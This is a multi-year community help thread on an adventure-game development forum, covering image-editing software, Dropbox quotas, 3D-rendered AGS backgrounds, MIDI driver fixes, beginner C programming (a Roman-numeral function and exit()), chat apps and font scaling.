Photoshop Elements is the basic version of photoshop, which excludes some stuff, including 8 bit mode and colour channels, which depending on your process you might want. Other than that, if you want to buy Photoshop officially now, I think there's not really any option other than getting the CC version, which is a subscription rather than a one-time payment.

If all you want to do is pixel-art, there are probably more suitable softwares, however, many of them free. Aseprite is free, GraphicsGale is free, Pro Motion is relatively cheaper than Photoshop. GIMP is also free, and is a sort of free equivalent of Photoshop, but its interface takes a bit of getting used to.
Title: Re: Ask something - We can help.
Post by: NickyNyce on Mon 13/02/2017 03:42:58
Thanks for the advice. When I went to amazon and typed in photoshop, it seemed like there were a whole bunch of different ones. Most of them that I saw were around $50. I had always thought it was way more expensive for some reason. I didnt notice anything about subscriptions though. But perhaps I wasnt looking deep enough. I have fiddled with gimp before, so maybe I'll try that again. Although like you said, it didn't seem very user friendly. But neither did Photoshop when I was using the trial version.

When I was playing around with gimp and photoshop, I felt like I was doing more staring at the screen then creating. I always resorted back to the simplicity of MSpaint. Looks like I'll be diving into a bunch of youtube videos.

Thanks again.
Title: Re: Ask something - We can help.
Post by: Danvzare on Mon 13/02/2017 11:29:35
I remember Adobe offering Photoshop CS2 for free a few years ago. I can't seem to find it anymore (they probably took the offer down) but you could always give it a quick look.
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 13/02/2017 13:48:16
http://www.techspot.com/downloads/3689-adobe-photoshop-cs2.html
this PS CS2 download seems to work. Newer versions of Photoshop have a lot more features. But you wouldn't need them for pixelart.
Title: Re: Ask something - We can help.
Post by: Retro Wolf on Mon 13/02/2017 15:36:01
Have you tried GraphicsGale? (https://graphicsgale.com/us/download.html) In the beginning I used photoshop for pixel art, but found GG much better suited. You can also use the directional keys to move the cursor a pixel at time.
Title: Re: Ask something - We can help.
Post by: Babar on Mon 13/02/2017 16:21:51
Quote from: selmiak on Mon 13/02/2017 13:48:16
http://www.techspot.com/downloads/3689-adobe-photoshop-cs2.html
this PS CS2 download seems to work. Newer versions of Photoshop have a lot more features. But you wouldn't need them for pixelart.
It isn't being offered for free so much as a download is being offered for people who already have a license. Take that as you will...
Title: Re: Ask something - We can help.
Post by: NickyNyce on Mon 13/02/2017 20:49:06
Thanks everyone. GraphicsGale is certainly an option too. Maybe I'll even start there.
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Mon 13/02/2017 21:32:55
If it helps, I used GraphicGale for my last coloring ball. (nod) ;)
Title: Re: Ask something - We can help.
Post by: NickyNyce on Mon 13/02/2017 23:26:54
SOLD!! ....oh wait...It's free!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 06/03/2017 14:24:06
Quote from: Kumpel on Sun 12/02/2017 20:40:43
I found a way to download the spanish demo of that jungle scene via the waybackmachine: here is the link:

http://web.archive.org/web/20120306132759/http://www.teckelstudios.es/files/ROTLA%20DEMO%20Setup%20(spanish).exe

Have you found any broken links to the english demo? Maybe this way you can get them too.
Thanks a lot. Really really cool.
Title: Re: Ask something - We can help.
Post by: Yitcomics on Wed 08/03/2017 07:49:06
(I didn't know where else to ask so...)  8-)
I'm currently writing the plot for my game, where a character fall from height. But survive for a few more minutes, manage to give one last message and then passed away. But now I'm thinking, is that realistic?

So my question is,how high and what kind of injury are we talking for that scenario to happen?
(I mean if that character got hit in head, that would mean instant death right?)



Title: Re: Ask something - We can help.
Post by: Khris on Wed 08/03/2017 10:41:36
People have survived falling out of airplanes, so it is entirely in the realm of plausibility.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 09/03/2017 17:52:38
Quote from: Khris on Wed 08/03/2017 10:41:36
People have survived falling out of airplanes, so it is entirely in the realm of plausibility.
Khris is right, but try to avoid the hollywood blockbuster syndrome, where gravity doesn't exist, and neither do shocks nor inertia nor injuries of any kind. (See that ridiculous scene from The Island where they jump from a sckyscrapper and get saved by some sort of tiny fishnet)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 09/03/2017 17:59:03
Question on Dropbox quotas.

Quotas for free Dropbox work like this:
- The maximum size of one account is 2GB
- My personal account happens to be 75% full (1.5GB)
- A friend shares another dropbox account with me as the Dropbox equivalent of shared folders. That Dropbox happens to be 25% full (500MB). that Dropbox is our team dropbox and is shared with other people too.
- Dropbox calculates space usage as follows : it sums up all the folders to which I have access : 1.5GB + 500MB = 2GB --> LIMIT REACHED

My question is : what's the best way to push that limit?
- Should I pay for a non-free Dropbox?
...or...
- should he pay for a non-free Dropbox?

I'm worried that if I follow the first solution, then some calculation bullshit will prevent other team members to reach the 2GB limit.
I'm worried that if he follow the second solution, my personal free Dropbox will drag down the upper limit.


Title: Re: Ask something - We can help.
Post by: Kumpel on Thu 09/03/2017 19:18:10
You can extended the space a little bit with some Social Media stuff. I am at 2,75 with doing that atm.
The pro account gives you 1 TB but your colleagues won't get anything of that. They can't get more than 2GB+bonus space synchronized. You all need pro for that to work. Or find another cloud service.
Title: Re: Ask something - We can help.
Post by: Khris on Thu 09/03/2017 23:02:31
I referred several people and activated Camera Uploads on my phone. I currently have a free Dropbox with 8,75GB of space.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 10/03/2017 10:21:36
Quote from: Khris on Thu 09/03/2017 23:02:31
I referred several people and activated Camera Uploads on my phone. I currently have a free Dropbox with 8,75GB of space.

I understood none of the 3 parts of this sentence.  ;-D What is "referring people". What is "camera upload". How on earth do you have 4 times the 2GB limit? Off to google!


Quote from: Kumpel on Thu 09/03/2017 19:18:10
The pro account gives you 1 TB but your colleagues won't get anything of that. They can't get more than 2GB+bonus space synchronized. You all need pro for that to work.
OK that's what I was afraid of. That's stupid. Well I'll need to find another solution.
Title: Re: Ask something - We can help.
Post by: rambler87 on Sun 12/03/2017 10:50:37
hi everyone
i would like to ask questions - not so important technical - some advice where to begin and if it possible with AGS.
I want to create game with tomb rider angel of darkness characters - is it possible and effective to use official trle (level redactor) to create graphic scenes and animation of character movement and implement this date in ags to create quest with high resolution?
Any suggestion and advice will be appreciated.
And are there examples of such approach?

PSS - in addition how knows the great game (very exotic game) bad mojo - on which engine it can be done redone? the same concerning the game Sanitarium - has it ever been rebuild in ags?
Title: Re: Ask something - We can help.
Post by: Khris on Sun 12/03/2017 17:05:00
Quote from: Monsieur OUXX on Fri 10/03/2017 10:21:36
Quote from: Khris on Thu 09/03/2017 23:02:31
I referred several people and activated Camera Uploads on my phone. I currently have a free Dropbox with 8,75GB of space.
I understood none of the 3 parts of this sentence.  ;-D What is "referring people". What is "camera upload". How on earth do you have 4 times the 2GB limit? Off to google!
1. I told them about Dropbox, entered their email addresses on the Dropbox website -> they get sent a link -> they use the link to sign up -> I get 500MB.
2. I downloaded the Dropbox App and turned on the feature -> +3GB
3. 2 + 3 + 7 * 0.5 + 0.25 = 8.75 (250 MB for completing "Getting Started" on the website)
Title: Re: Ask something - We can help.
Post by: Mandle on Mon 13/03/2017 02:18:30
Quote from: rambler87 on Sun 12/03/2017 10:50:37
PSS - in addition how knows the great game (very exotic game) bad mojo - on which engine it can be done redone?

I know Bad Mojo: the one where you play a guy turned into a cockroach right? AWESOME GAME!

It could be redone on AGS, in fact I was just thinking the other day that I might give it a try sometime, but I probably won't ever have the time.
Title: Re: Ask something - We can help.
Post by: rambler87 on Mon 13/03/2017 08:12:27
do you think it is pretty easy to build such game as bad mojo - only many photo of scenes?

and have you seen such games as 3d->2d and insert implement with ags?
Title: Re: Ask something - We can help.
Post by: Slasher on Mon 13/03/2017 16:07:43
Personally, while at best part it could be done it would take quite a bit of advanced scripting to get it to any kind of high level like the game Bad mojo. If your scripting is novice then you need to think about how you are going to make a similar game. Of course there are people here that can help you... There is no reason why you could not try making it ags style. You can also use videos as like the game if you wanted.

Good luck
Title: Re: Ask something - We can help.
Post by: rambler87 on Mon 13/03/2017 16:46:14
thank you.
under "simple" - i mean is it not so difficult game cod comparing say with diablo 2 or something) I mean we have static pictures and moving them and that's all.
i.e. as beginning project in programming and game design it is normal difficult?
Title: Re: Ask something - We can help.
Post by: Slasher on Mon 13/03/2017 17:48:29
You should search the games database for games to play to get an idea of how ags works and what you can do with it.

Learning the script and stuff can be daunting but it does get easier the more you learn and practice..
Title: Re: Ask something - We can help.
Post by: LimpingFish on Tue 14/03/2017 02:11:28
Quote from: rambler87 on Sun 12/03/2017 10:50:37
I want to create game with tomb rider angel of darkness characters - is it possible and effective to use official trle (level redactor) to create graphic scenes and animation of character movement and implement this date in ags to create quest with high resolution?

AGS doesn't support 3d models in that sense, would not be compatible with files exported from a level builder (raw geometry, etc) in any meaningful way. AGS mostly deals in bitmap sprites and backgrounds.
Title: Re: Ask something - We can help.
Post by: rambler87 on Tue 14/03/2017 21:43:46
i mean i can always get 2d from 3d any scenes
Title: Re: Ask something - We can help.
Post by: Snarky on Tue 14/03/2017 22:23:53
Consider the screenshots you can get out of this level editor. Consider whether they would make suitable backgrounds for adventure games. Well, there's your answer.

Though 3D-rendered or photo-based backgrounds in 2D have some other challenges that you may not have considered:

-It may be difficult to integrate characters in a way that looks convincing, because of walkbehinds, shadows, and perspective distortion.
-Similarly, it may be difficult to get interactive parts of the backgrounds (objects that are only present part of the game) to blend properly.
-If the tool doesn't allow you to define a fixed camera position, any time you need to update a background the shot may look slightly different, and then you'll have to adjust all the object positions, walkable areas, walkbehinds, etc. This will quickly become a nightmare.
-Without animation (which can be tricky to export into AGS), the screens may look weirdly "frozen".

Much of this depends on the tool you're using, and your skill with it. Certainly there are a number of AGS games made with 3D-rendered backgrounds and/or characters.
Title: Re: Ask something - We can help.
Post by: rambler87 on Wed 15/03/2017 17:17:29
thank you. could you advise such a "3d derived" games to learn some examples? and why is it not often (or i wrong) used in ags games creating.

I want to create in 3d only character animation and location (backgrounder screen) - it is problem because 2d considerable edition of this screen will be needed in 2d?

about details - which main instruments would you recommend? 3ds max auto-desk (or Maya?) and Photoshop cs (without mentioning many other assisting programms-utilites)?

PPS concerning engines: what do you thing about kyra-engine?
Title: Re: Ask something - We can help.
Post by: Kumpel on Wed 22/03/2017 03:30:01
Hey rambler. if you mean by "3d derived" a game with 3d prerendered sprites and backgrounds, then check out "Out of Gas" by Cassiebsg. Great MAGS entry that shows you how good this style decision can work and look.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 22/03/2017 14:51:56
Quote from: Khris on Sun 12/03/2017 17:05:00
1. I told them about Dropbox, entered their email addresses on the Dropbox website
Welp, I didn't proceed like that for nay of the contributors. So I guess that's all wasted now.
Title: Re: Ask something - We can help.
Post by: rambler87 on Wed 22/03/2017 21:50:32
Quote from: Kumpel on Wed 22/03/2017 03:30:01
Hey rambler. if you mean by "3d derived" a game with 3d prerendered sprites and backgrounds, then check out "Out of Gas" by Cassiebsg. Great MAGS entry that shows you how good this style decision can work and look.

thanks. But is there example of ags games with 2d pictures from design like in tes elder scrolls 3d constructor (what is the problem to use complex pseudo 3d screens on ags engine - is it possible, for example, to use pseudo 3d scenes like in quest game series like "runaway")
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 22/03/2017 22:41:20
Check out the games by Midian Design:
https://www.adventuregamestudio.co.uk/site/games/author/Midian+Design/

The Cosmos Quest games are another example that use 3D-rendered graphics (they're not available from here any more, but you can find them on the Google).

Lost in the Nightmare uses 3D rendered screens made in the Half-Life engine:
https://www.adventuregamestudio.co.uk/site/games/game/642/
https://www.adventuregamestudio.co.uk/site/games/game/982/

Supergirl in We Don't Need Another Hero uses Poser models and some sort of 3D-modeling for the rooms:
https://www.adventuregamestudio.co.uk/site/games/game/505/

Quintaros, Cassiebsg, KyriakosCH and several others I'm sure are working on 3D-rendered AGS games. There was a 3D-rendered King's Quest 4 remake under development for a while.

And you might want to have a look at Technocrat's blog, describing the graphics process he's developing over a number of posts: https://technocratgames.blogspot.ch/2017/02/technobabylon-2-part-2-isobabylon.html
Title: Re: Ask something - We can help.
Post by: rambler87 on Fri 24/03/2017 20:07:36
thanks for advise.
and what do you think about kyra engine - is it in some way similar to ags.
And concerning games such as runaway series - beside art work - i think it requires very high level in programming (theory and practice)?

ps - are there quest games (fan made games) about lord of the rings? (strange but there is no (if i know right) modern (for sale) quest about this story - may be because of franchise rights...)
Title: Re: Ask something - We can help.
Post by: Snarky on Sat 25/03/2017 00:22:51
Quote from: rambler87 on Fri 24/03/2017 20:07:36
and what do you think about kyra engine - is it in some way similar to ags.

Never heard of it.

Quote from: rambler87 on Fri 24/03/2017 20:07:36
And concerning games such as runaway series - beside art work - i think it requires very high level in programming (theory and practice)?

Not particularly. They're pretty standard adventure games, aren't they? Shouldn't be any more challenging than any other AGS game.

Quote from: rambler87 on Fri 24/03/2017 20:07:36
ps - are there quest games (fan made games) about lord of the rings? (strange but there is no (if i know right) modern (for sale) quest about this story - may be because of franchise rights...)

There are a ton of commercial games based on The Lord of the Rings, as well as fan games (often in the form of mods for other titles): https://en.wikipedia.org/wiki/Middle-earth_in_video_games

Not sure what you mean by "quest games" â€" if you mean RPGs, there are a lot. If you mean adventure games, probably not that many, but there are text adventures based on The Hobbit as well as TLOTR.
Title: Re: Ask something - We can help.
Post by: Nikolas on Mon 17/04/2017 23:08:27
Posted on facebook but maybe you guys can help?

When I was growing up (around 25-30 years ago, let's say), I was buying some lego like product (I think it was called TEDDEX (or at least sounded something like this) that were all about robots, that were able to transform into spaceships, or cars and whatnot.

Anyone knows what product(s) I'm talking about? I'd love to find them again...

EDIT:

I found them.

They are called TENTE (Spanish company) and the specific series was called Roblock. Discontinued now, I'm sad... :'(
Title: Re: Ask something - We can help.
Post by: dactylopus on Tue 18/04/2017 05:06:36
Quote from: rambler87 on Fri 24/03/2017 20:07:36
ps - are there quest games (fan made games) about lord of the rings? (strange but there is no (if i know right) modern (for sale) quest about this story - may be because of franchise rights...)

I've got no idea, but you've got me wanting Quest for Glory styled games set in Middle Earth.
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Thu 09/11/2017 18:04:22
and now for a necro-thread-revival!

What anti-virus are you guys running?
I use Avast Free, and I am convinced it hates AGS and causes all kinds of weird crappy behaviour on my computer (ie. massive delay to keystrokes in harmless software like WordPad)
Looking for an alternative...
Title: Re: Ask something - We can help.
Post by: Click'd on Thu 09/11/2017 20:11:12
The built-in thing in Windows that keeps changing names. At the point of writing it's called Windows Defender, apparently.
Title: Re: Ask something - We can help.
Post by: cat on Fri 10/11/2017 12:07:24
Quote from: ClickClickClick on Thu 09/11/2017 20:11:12
The built-in thing in Windows that keeps changing names.
This and common sense.
Title: Re: Ask something - We can help.
Post by: Danvzare on Fri 10/11/2017 13:05:46
Quote from: cat on Fri 10/11/2017 12:07:24
Quote from: ClickClickClick on Thu 09/11/2017 20:11:12
The built-in thing in Windows that keeps changing names.
This and common sense.
And an ad-blocker, and that no-script thing.
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Sat 11/11/2017 04:23:23
Thanks guys I'll take this advice  :)
Title: Re: Ask something - We can help.
Post by: cat on Sun 17/12/2017 17:14:52
Suddenly MIDI does not work on my Win10 PC anymore ??? No matter what MIDI program I use (media player, VLC, midi editing tool), none of them can find the Windows MIDI device.
I have the Microsoft GS Wavetable Synth listed in Device Manager->Software devices, tried to deinstall/install it, still doesn't work.

Does anyone have an idea what can be wrong here?
Title: Re: Ask something - We can help.
Post by: NicolaGs on Sun 17/12/2017 17:35:11
I have no idea about the cause of your problem but I'd use instead an alternative driver such as BASS MIDI driver (https://www.kode54.net/bassmididrv/), that uses Soundfont instruments files and provide a much better MIDI quality than default Windows MIDI driver.

Edit : a good and free soundfont working with the BASS driver can be found here (http://www.simpilot.net/~richnagel/#downloads).
Title: Re: Ask something - We can help.
Post by: cat on Mon 18/12/2017 18:46:27
Thanks NicolaGs. I was hoping to get the Windows Synth to work, but I guess I'll try your solution.
Title: need a help - not ags related
Post by: amit14 on Wed 27/12/2017 19:32:58
guys, I have started learning c language through a book but I am facing some difficulties related to some topics so can anyone help me out
someone who is quite well in c and c++
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 27/12/2017 20:04:32
Quote from: cat on Mon 18/12/2017 18:46:27
Thanks NicolaGs. I was hoping to get the Windows Synth to work, but I guess I'll try your solution.

Here's one I use: the Arachno SoundFont (free download: www.arachnosoft.com/main/soundfont.php)

Why I use this one:
(Quoting from arachnosoft website:) Arachno SoundFont has been primarily built to enhance the MIDI music of these old video games you played and loved.

Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Wed 27/12/2017 20:31:56
Quote from: amit14 on Wed 27/12/2017 19:32:58
guys, I have started learning c language through a book but I am facing some difficulties related to some topics so can anyone help me out
someone who is quite well in c and c++

Please be more specific, what topics are these?
Title: Re: Ask something - We can help.
Post by: amit14 on Thu 28/12/2017 05:47:49
Quote from: Crimson Wizard on Wed 27/12/2017 20:31:56
Quote from: amit14 on Wed 27/12/2017 19:32:58
guys, I have started learning c language through a book but I am facing some difficulties related to some topics so can anyone help me out
someone who is quite well in c and c++

Please be more specific, what topics are these?
like pointers and functions
actually I know what they are and how to use them in program but I am having problems in using them
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 28/12/2017 10:43:05
Quote from: amit14 on Thu 28/12/2017 05:47:49
actually I know what they are and how to use them in program but I am having problems in using them

I am still not sure how to help you. You are saying you have problems, but not telling what these problems are.
Maybe you can give an example?
Title: Re: Ask something - We can help.
Post by: cat on Thu 28/12/2017 11:17:13
Quote from: arj0n on Wed 27/12/2017 20:04:32
Here's one I use: the Arachno SoundFont (free download: www.arachnosoft.com/main/soundfont.php)

Which software synth are you using?
Title: Re: Ask something - We can help.
Post by: amit14 on Thu 28/12/2017 11:43:44

Quote
I am still not sure how to help you. You are saying you have problems, but not telling what these problems are.
Maybe you can give an example?
alright
so to begin with, can you make me understand the working of this code
main()
{
    int yr;
    printf("Enter year");
    scanf("%d", &yr);
    yr = romanise (yr, 1000, 'm');
    similarly for 500, 100, and so on;
}
romanise(int y, int k, char ch)
{
    int i,j;
    if(y==9)
    {
          printf("ix");
          return (y%9);
    }
    if(y==4)
    {
         printf("iv");
         return (y%4);
    }
    j=y/k;
    for(i=1;i<=j;i++)
        printf("%c", ch);
    return(y-k*j);
}
please explain me how is the romanise function is working here
rest I have got
Title: Re: Ask something - We can help.
Post by: arj0n on Thu 28/12/2017 13:56:56
Quote from: cat on Thu 28/12/2017 11:17:13
Quote from: arj0n on Wed 27/12/2017 20:04:32
Here's one I use: the Arachno SoundFont (free download: www.arachnosoft.com/main/soundfont.php)

Which software synth are you using?

BassMIDI driver.

Out of my head:
1. Extract the file 'Arachno SoundFont - Version 1.0.sf2'
2. Open 'Configure BassMIDI driver'
3. Load the sf2 file in BassMIDI driver's 'SoundFonts (Port A)' tab and click apply.
3. In the BassMidi Advanced tab:
Vol: around 8000
Default MIDI Synth: SoundFonts (Port A)
Click apply

Done.
Title: Re: Ask something - We can help.
Post by: Snarky on Thu 28/12/2017 15:23:14
Quote from: amit14 on Thu 28/12/2017 11:43:44
alright
so to begin with, can you make me understand the working of this code

please explain me how is the romanise function is working here

OK, so this code is meant to print a number in Roman numerals. So we first have to make sure we understand how Roman numerals work.

Basically, you have a set of symbols: M (1000), D (500), C (100), L (50), X (10), V (10) and I (1). Usually, to read a number you just add all the "digits" together. For example, MMXVII = M + M + X + V + I + I = 1000 + 1000 + 10 + 5 + 1 + 1 = 2017. This is the "simple" method, and we always go from the highest to the lowest symbol.

One twist: commonly, instead of writing 4 as IIII and 9 as VIIII, you write it as IV and IX (smaller digit first, meaning you subtract it from the higher digit instead of adding them). You'll sometimes see the same logic applied to 40 (written XL instead of XXXX), 90 (XC instead of LXXXX), 400 (CD instead of CCCC) and 900 (CM instead of DCCCC), but that's more of a modern convention, and this code doesn't do it.

OK, so how do we write a number in this format? It should be pretty obvious, but let's break down the steps:

You start with the highest symbol (M), and see how many times it "fits" into your number. You repeat it that many times (which can be zero), and then move on to the next symbol, fitting it into the part of the number remaining. So for 2017, we ask "how many times does 1000 go into 2017?" The answer is 2, so we write M twice: MM (2000). We subtract 2000 from 2017, leaving 17. Now we ask the same for D (500), C (100) and L (50). In each case, the answer is 0 (all those numbers are bigger than 17), so we don't write anything. When we get to X (10), the answer is 1, so we write a single X after MM: MMX. We subtract 10 from 17, leaving 7, ask how many times V (5) goes into 7 (once), giving MMXV and leaving 2, and finally ask how many times 1 goes into 2 (twice), giving us MMXVII.

And that's pretty much what the code does. It breaks the task down into handling each symbol, which is done by the romanise() function. It takes three arguments: the first (y) is the number you want to write. The second (k) is the value of the symbol you want to try to fit into that number. The third (ch) is the character representation of that symbol that you want to print. The function prints the symbol ch as many times as its value k fits into the number y, and returns how much of the number is left over:

Code (c) Select
    j=y/k; // How many times does k fit into y (divide y by k, rounding down)
    for(i=1;i<=j;i++) // Print the character ch that many times
        printf("%c", ch);
    return(y-k*j); // Return the part of y that is left over (subtract the value of k, multiplied by the number of times we printed it, j)


The rest of the function deals with the fact that 4 and 9 are written differently as special cases. Should be pretty clear, except for one thing: The return values, (y%9) and (y%4), use an operation called modulo. (Which gives the remainder of an integer division. For example, 17%5 = 2 because 17/5 = 3 and 17 - (3*5) = 2.) They will always be equal to 0, and writing them in this format is a little pointless.

So when we call romanise() repeatedly, each call will print a certain symbol a certain number of times, and let us know how much of the number remains to be printed. We feed that value into the next function call (it's important to note that since we write yr = romanise (...) on each line, the value of yr is changing at each step; it's always the remaining part of the number the user entered). We repeat until we're down to 1, and at that point the number is complete:

Code (c) Select
main()
{
    int yr;
    printf("Enter year");
    scanf("%d", &yr);
    yr = romanise (yr, 1000, 'm');
    yr = romanise (yr, 500, 'd');
    yr = romanise (yr, 100, 'c');
    yr = romanise (yr, 50, 'l');
    yr = romanise (yr, 10, 'x');
    yr = romanise (yr, 5, 'v');
    yr = romanise (yr, 1, 'i');
}
Title: Re: Ask something - We can help.
Post by: amit14 on Thu 28/12/2017 17:31:43
thanks for your help
now I have understood it
Title: Re: Ask something - We can help.
Post by: Egmundo Huevoz on Thu 28/12/2017 18:10:55
Hello! Does anybody know of any 3d modules working in the newer versions of AGS? At least 3.0 onwards. I tried easy-3D, to no avail. 3D-AGS seems to be missing some plugins. I don't even want something too complex; something like doom working on a few rooms is enough (I plan to use it for mini-games, not the whole game). Thanks in advance!
Title: Re: Ask something - We can help.
Post by: Kweepa on Fri 29/12/2017 00:48:41
Which plugins are missing from AGS-3D?
Title: Re: Ask something - We can help.
Post by: Egmundo Huevoz on Fri 29/12/2017 02:39:21
Hi Kweepa. "Ags3d.dll", according to an error screen that appears when I open the "game". Even worse, I can only open it with AGS 2.7. Maybe you can direct me to a different download link, which works?

EDIT: Looking around, I found it inside the compiled folder. Maybe it goes somewhere else? Still, I'd like to use it with modern AGS. BTW, the demo game is great. I wish I can make it work.
Title: Re: Ask something - We can help.
Post by: Kweepa on Fri 29/12/2017 06:40:10
Unfortunately I can't find a version that works with 3.x, although I thought I updated it at one point.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Fri 29/12/2017 14:53:27
Quote from: Egmundo Huevoz on Fri 29/12/2017 02:39:21
EDIT: Looking around, I found it inside the compiled folder. Maybe it goes somewhere else? Still, I'd like to use it with modern AGS. BTW, the demo game is great. I wish I can make it work.

In AGS 3.4.0 and later it needs to go to Compiled/Windows, where game's exe file is built. Does this mean that plugins are not copied correctly with the latest versions of AGS?

Hmm, wait, how do you use the plugin at all? Did you copy it to the AGS Editor's folder first before building the game?
Title: Re: Ask something - We can help.
Post by: amit14 on Mon 01/01/2018 15:22:58
when I use the exit function in c
exit();
the compiler reports an error
too few parameters for exit to function but when I use
exit(0);
it works fine
please someone explain
Title: Re: Ask something - We can help.
Post by: arj0n on Mon 01/01/2018 15:53:58
exit(0): successful program termination
exit(1): (usually) unsuccessful termination
Title: Re: Ask something - We can help.
Post by: cat on Mon 01/01/2018 18:06:53
I installed BASS Midi driver and Arachno sf. In my MIDI tool I can now select it and listen to the MIDI. The sound of one of the rather obscure instruments used sounds terrible now, but ok, at least I can run it.

However, I cannot get MIDI to run for AGS games. I don't get the error message anymore, but I also don't have audio (mp3 sfx work fine).
VLC and Windows Media Player also cannot run it.
The weirdest thing so far is: Suddenly Irfan View can play it, but it sounds like the original Windows Midi, not the Arachno. Did Irfan View find the windows synth? I'm about to give up and reinstall windows...
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Mon 01/01/2018 18:49:24
Quote from: amit14 on Mon 01/01/2018 15:22:58
when I use the exit function in c
exit();
the compiler reports an error
too few parameters for exit to function but when I use
exit(0);
it works fine
please someone explain

amit14, frankly, this is a kind of question that is normally answered by reading a book.

Each function has a number of parameters that it may require. Exit() function has 1 parameter. If you don't pass one in, it won't work.
If you need to know information on particular function, what they do, what their parameters mean, there are tonns of documentation about C and C++ library functions online. For example this: http://en.cppreference.com/w/c/program/exit

Also, I meant to mention this earlier, although this is only my opinion, but if you are just beginning to study programming, C and C++ are not the languages I'd recommend to start with. They are far not the easiest ones and contain features that are found nowhere in many other modern languages, such as direct operations on computer memory for example, that may be quite confusing (and even dangerous in some ways).
Unless you have a good reason to learn C in particular, I'd recommend to start with something like C#, Python or Javascript instead.
Title: Re: Ask something - We can help.
Post by: arj0n on Mon 01/01/2018 19:10:22
Quote from: cat on Mon 01/01/2018 18:06:53
I installed BASS Midi driver and Arachno sf. In my MIDI tool I can now select it and listen to the MIDI. The sound of one of the rather obscure instruments used sounds terrible now, but ok, at least I can run it.

However, I cannot get MIDI to run for AGS games. I don't get the error message anymore, but I also don't have audio (mp3 sfx work fine).
VLC and Windows Media Player also cannot run it.
The weirdest thing so far is: Suddenly Irfan View can play it, but it sounds like the original Windows Midi, not the Arachno. Did Irfan View find the windows synth? I'm about to give up and reinstall windows...

OK, I noticed my midi wasn't working either anymore...
Somehow I couldn't get BASS Midi driver to work again correctly, so uninstalled that and went for VirtualMIDISynth (http://coolsoft.altervista.org/en/virtualmidisynth#download).
So, after loading the soundfont (Arachno) in the VirtualMIDISynth's tab Soundfonts, MIDI was working again.
Also: MIDI runs fine again for AGS games.
Title: Re: Ask something - We can help.
Post by: amit14 on Fri 05/01/2018 14:30:42
Quote from: Crimson Wizard on Mon 01/01/2018 18:49:24
link=topic=36356.msg636578439#msg636578439 date=1514820178]
amit14, frankly, this is a kind of question that is normally answered by reading a book.

Also, I meant to mention this earlier, although this is only my opinion, but if you are just beginning to study programming, C and C++ are not the languages I'd recommend to start with. They are far not the easiest ones and contain features that are found nowhere in many other modern languages, such as direct operations on computer memory for example, that may be quite confusing (and even dangerous in some ways).
Unless you have a good reason to learn C in particular, I'd recommend to start with something like C#, Python or Javascript instead.
actually i have c language in my next semester from next month that's why i thought to start with it
Title: Re: Ask something - We can help.
Post by: eri0o on Sat 06/01/2018 15:41:19
Question. I may go to NYC in May. Can someone suggest me a good hotel? My definition of good is a nice bed for me and my girlfriend, has a bathroom in the room, has wifi and either has breakfast or is near a bakery or coffee shop that offers breakfast.

I am going for leisure, will visit museums, and other stuff.
Title: Re: Ask something - We can help.
Post by: cat on Fri 26/01/2018 18:32:58
Quote from: arj0n on Mon 01/01/2018 19:10:22
OK, I noticed my midi wasn't working either anymore...
Somehow I couldn't get BASS Midi driver to work again correctly, so uninstalled that and went for VirtualMIDISynth (http://coolsoft.altervista.org/en/virtualmidisynth#download).
So, after loading the soundfont (Arachno) in the VirtualMIDISynth's tab Soundfonts, MIDI was working again.
Also: MIDI runs fine again for AGS games.
I tried that, didn't work either.

HOWEVER, Windows installed a big update today and now the native Windows MIDI is working again :-D
Title: Re: Ask something - We can help.
Post by: Jack Orlando on Sun 25/02/2018 18:21:49
Question.

I love AGS and would like to somehow thank the creator for making programming accessible even to people with no background in coding. Is there some kind of donation page where I could contribute?
Title: Re: Ask something - We can help.
Post by: LameNick on Sat 24/03/2018 13:49:35
Hello, anybody knows an encrypted chat application that runs independently on windows or linux AND android? I use solely my desktop for chat and my friend chats only via android phone. I found Wickerme and Ring but he couldn't install Wickerme (probably because his android version is lower than required) and Ring just doesn't seem to work.
Title: Re: Ask something - We can help.
Post by: selmiak on Sat 24/03/2018 16:13:39
maybe use some jabber client?!
Title: Re: Ask something - We can help.
Post by: Khris on Mon 26/03/2018 21:17:26
What about Signal? https://signal.org/download/
Title: Re: Ask something - We can help.
Post by: morganw on Tue 24/04/2018 22:42:44
Does anyone happen to have a recent version of InDesign which they could use to export a document as Postscript for me, or does anyone know how to open/recover data into older versions of InDesign?

Much obliged,
Morgan
Title: Re: Ask something - We can help.
Post by: nihilyst on Tue 24/04/2018 23:16:20
I have InDesign CC2018 and would gladly help you out.
Title: Re: Ask something - We can help.
Post by: morganw on Tue 24/04/2018 23:38:13
That would be amazing, thank you.
PM sent. :)
Title: Re: Ask something - We can help.
Post by: Icey on Sun 06/05/2018 08:54:49
Does anyone by chance have the two main AGS fonts (outline/NoOutline) or something close to the two? Or even a site that offers both outline\non-outline fonts?

I changed the resolution of my game when I started it and I noticed that the main font is super big and I'm not sure how to scale it down to a reasonable size or where to locate the main fonts to reimport them both in a smaller size.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sun 06/05/2018 15:40:11
Quote from: icey games on Sun 06/05/2018 08:54:49
I changed the resolution of my game when I started it and I noticed that the main font is super big and I'm not sure how to scale it down to a reasonable size or where to locate the main fonts to reimport them both in a smaller size.

AGS never changes the font files themselves, only scales them when drawing, so it is safe to reuse same WFN or TTF files from your game's folder.

Most probably you have "Fonts are designed for high resolution" turned off, which makes AGS scale them up. Try turning that on and AGS will use them in their actual scale.

That is the only reason why WFN (bitmap) fonts can be scaled in game. TTF (vector) fonts may be also rescaled by reimporting same file again and telling different size.


PS. AGS Editor does not provide any fonts on its own, they only come wit templates, so if you've lost a "default" font file for some reason, you may retrieve it from a game template by creating a dummy game.
PPS. Oh. also there are some template source in the repository, so it's possible to download fonts there too:
